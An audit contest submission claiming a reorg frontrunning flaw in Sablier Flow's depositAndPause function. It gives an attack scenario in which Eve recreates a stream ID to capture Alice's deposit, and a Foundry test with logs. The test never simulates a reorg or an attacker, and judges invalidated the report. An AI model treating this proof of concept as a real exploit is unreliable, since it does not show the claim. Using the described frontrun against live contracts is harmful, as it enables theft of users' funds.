Flow

Sablier
FoundryDeFi
20,000 USDC
View results
Submission Details
Severity: medium
Invalid

Reorg Vulnerability in Stream Deposit Functionality

Summary

The vulnerability in the protocol arises from the lack of a verification check in the depositAndPause function, which allows for potential exploitation during a reorg attack. In this scenario, an attacker can frontrun the transaction of a legitimate sender, creating a stream with the same ID but with themselves as the recipient and a much higher rate per second. As a result, when the legitimate sender deposits tokens into their stream, the funds are instead credited to the attacker's stream, enabling the attacker to withdraw all deposited tokens almost immediately. This flaw poses a significant risk to the integrity of the token transfer system.

Vulnerability Details

According to the known issues of the protocol, "a reorg attack can change a stream's parameters except for the sender and recipient." However, this statement is not entirely accurate. A reorg attack can still occur because the depositAndPause function does not include the check _verifyStreamSenderRecipient. This allows an attacker to exploit this vulnerability to access the tokens deposited by the sender through the depositAndPause function.

Consider the following scenario:

Alice is a sender who creates a stream with Bob as the recipient, and the Stream ID is 5. Shortly after the stream is created, Alice wants to deposit some tokens into it. She does this by calling depositAndPause, depositing 100e18 tokens.

Then, a network reorg occurs.

Eve observes this and frontruns Alice's transaction for stream creation, creating a stream with the same Stream ID of 5. However, Eve inputs herself as the recipient and sets the rate per second (RPS) to 1000e18. Let’s assume Eve's transaction executes at timestamp X, and Alice's depositAndPause transaction executes at X + 1. Since the Stream ID inputted by Alice is also 5, the deposited amount will be credited to Eve's stream instead of Bob's. Given that Eve's stream has a significantly higher RPS, she can withdraw all the tokens within just one second.

Test:

// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.22;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { Test } from "forge-std/src/Test.sol";
import { FlowNFTDescriptor } from "src/FlowNFTDescriptor.sol";
import { SablierFlow } from "src/SablierFlow.sol";
import { ERC20MissingReturn } from "./mocks/ERC20MissingReturn.sol";
import { ERC20Mock } from "./mocks/ERC20Mock.sol";
import { Assertions } from "./utils/Assertions.sol";
import { Modifiers } from "./utils/Modifiers.sol";
import { Users } from "./utils/Types.sol";
import { Utils } from "./utils/Utils.sol";
import { Vars } from "./utils/Vars.sol";
import { ud21x18, UD21x18 } from "@prb/math/src/UD21x18.sol";
contract Base_Test is Assertions, Modifiers, Test, Utils {
/*//////////////////////////////////////////////////////////////////////////
VARIABLES
//////////////////////////////////////////////////////////////////////////*/
Users internal users;
Vars internal vars;
/*//////////////////////////////////////////////////////////////////////////
TEST CONTRACTS
//////////////////////////////////////////////////////////////////////////*/
ERC20Mock internal tokenWithoutDecimals;
ERC20Mock internal tokenWithProtocolFee;
ERC20Mock internal dai;
ERC20Mock internal usdc;
ERC20MissingReturn internal usdt;
SablierFlow internal flow;
FlowNFTDescriptor internal nftDescriptor;
/*//////////////////////////////////////////////////////////////////////////
SET-UP FUNCTION
//////////////////////////////////////////////////////////////////////////*/
function setUp() public virtual {
users.admin = payable(makeAddr("admin"));
if (!isBenchmarkProfile() && !isTestOptimizedProfile()) {
nftDescriptor = new FlowNFTDescriptor();
flow = new SablierFlow(users.admin, nftDescriptor);
} else {
flow = deployOptimizedSablierFlow();
}
// Label the flow contract.
vm.label(address(flow), "Flow");
// Create new tokens and label them.
createAndLabelTokens();
// Turn on the protocol fee for tokenWithProtocolFee.
resetPrank(users.admin);
flow.setProtocolFee(tokenWithProtocolFee, PROTOCOL_FEE);
// Create the users.
users.broker = createUser("broker");
users.eve = createUser("eve");
users.operator = createUser("operator");
users.recipient = createUser("recipient");
users.sender = createUser("sender");
resetPrank(users.sender);
// Warp to May 1, 2024 at 00:00 GMT to provide a more realistic testing environment.
vm.warp({ newTimestamp: OCT_1_2024 });
}
/*//////////////////////////////////////////////////////////////////////////
HELPERS
//////////////////////////////////////////////////////////////////////////*/
/// @dev Create new tokens and label them.
function createAndLabelTokens() internal {
// Deploy the tokens.
tokenWithoutDecimals = createToken("Token without Decimals", "TWD", 0);
tokenWithProtocolFee = createToken("Token with Protocol Fee", "TPF", 6);
dai = createToken("Dai stablecoin", "DAI", 18);
usdc = createToken("USD Coin", "USDC", 6);
usdt = new ERC20MissingReturn("Tether", "USDT", 6);
// Label the tokens.
vm.label(address(tokenWithoutDecimals), "TWD");
vm.label(address(tokenWithProtocolFee), "TPF");
vm.label(address(dai), "DAI");
vm.label(address(usdc), "USDC");
vm.label(address(usdt), "USDT");
}
/// @dev Creates a new ERC-20 token with `decimals`.
function createToken(uint8 decimals) internal returns (ERC20Mock) {
return createToken("", "", decimals);
}
/// @dev Creates a new ERC-20 token with `name`, `symbol` and `decimals`.
function createToken(string memory name, string memory symbol, uint8 decimals) internal returns (ERC20Mock) {
return new ERC20Mock(name, symbol, decimals);
}
function createUser(string memory name) internal returns (address payable) {
address payable user = payable(makeAddr(name));
vm.deal({ account: user, newBalance: 100 ether });
deal({ token: address(tokenWithoutDecimals), to: user, give: 1_000_000 });
deal({ token: address(tokenWithProtocolFee), to: user, give: 1_000_000e6 });
deal({ token: address(dai), to: user, give: 1_000_000e18 });
deal({ token: address(usdc), to: user, give: 1_000_000e6 });
deal({ token: address(usdt), to: user, give: 1_000_000e6 });
resetPrank(user);
dai.approve({ spender: address(flow), value: UINT256_MAX });
usdc.approve({ spender: address(flow), value: UINT256_MAX });
usdt.approve({ spender: address(flow), value: UINT256_MAX });
return user;
}
/// @dev Deploys {SablierFlow} from an optimized source compiled with `--via-ir`.
function deployOptimizedSablierFlow() internal returns (SablierFlow) {
nftDescriptor = FlowNFTDescriptor(deployCode("out-optimized/FlowNFTDescriptor.sol/FlowNFTDescriptor.json"));
return SablierFlow(
deployCode(
"out-optimized/SablierFlow.sol/SablierFlow.json", abi.encode(users.admin, address(nftDescriptor))
)
);
}
/*//////////////////////////////////////////////////////////////////////////
CALL EXPECTS
//////////////////////////////////////////////////////////////////////////*/
/// @dev Expects a call to {IERC20.transfer}.
function expectCallToTransfer(address to, uint256 amount) internal {
vm.expectCall({ callee: address(dai), data: abi.encodeCall(IERC20.transfer, (to, amount)) });
}
/// @dev Expects a call to {IERC20.transfer}.
function expectCallToTransfer(IERC20 token, address to, uint256 amount) internal {
vm.expectCall({ callee: address(token), data: abi.encodeCall(IERC20.transfer, (to, amount)) });
}
/// @dev Expects a call to {IERC20.transferFrom}.
function expectCallToTransferFrom(address from, address to, uint256 amount) internal {
vm.expectCall({ callee: address(dai), data: abi.encodeCall(IERC20.transferFrom, (from, to, amount)) });
}
/// @dev Expects a call to {IERC20.transferFrom}.
function expectCallToTransferFrom(IERC20 token, address from, address to, uint256 amount) internal {
vm.expectCall({ callee: address(token), data: abi.encodeCall(IERC20.transferFrom, (from, to, amount)) });
}
function testReorg() public {
address Bob = makeAddr("bob");
address Alice = makeAddr("Alice");
ERC20Mock tok = createToken("Tok stablecoin", "TOK", 18);
deal({ token: address(tok), to: Alice, give: 1000e18 });
vm.startPrank(Bob);
uint256 streamId = flow.create(Alice, Bob, UD21x18.wrap(1000e18), tok, true);
vm.stopPrank();
skip(block.timestamp + 2);
vm.startPrank(Alice);
tok.approve(address(flow), 100e18);
flow.depositAndPause(streamId, 100e18);
vm.stopPrank();
vm.startPrank(Bob);
flow.withdrawMax(streamId, Bob);
assertEq(tok.balanceOf(address(flow)), 0);
}
}

Logs:

Ran 1 test for tests/Base.t.sol:Base_Test
[PASS] testReorg() (gas: 813725)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 30.16ms (1.79ms CPU time)
Ran 1 test suite in 214.90ms (30.16ms CPU time): 1 tests passed, 0 failed,

Impact

Loss of funds for the sender.

Tools Used

Manual Review

Recommendations

implement _verifyStreamSenderRecipient check in depositAndPause function

Updates

Lead Judging Commences

inallhonesty Lead Judge 8 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Appeal created

0xg0p1 Submitter
8 months ago
inallhonesty Lead Judge
8 months ago
inallhonesty Lead Judge 8 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.